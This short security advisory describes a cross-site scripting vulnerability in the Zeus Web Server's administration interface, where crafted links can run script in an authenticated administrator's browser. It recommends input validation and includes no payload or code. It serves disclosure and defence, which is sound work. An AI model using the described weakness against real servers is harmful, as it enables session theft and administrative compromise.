Zeus Web Server Cross Site Scripting Vulnerability

The Zeus Web Server contains a web based administration interface that is vulnerable to cross site scripting attacks. Due to insufficient sanitization of user-supplied input, it is possible for an attacker to construct a malicious link which contains arbitrary HTML and script code, which will be executed in the web client of a user who visits the malicious link. It should be noted that the user must authenticate with the administrative interface for the attack to succeed.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.
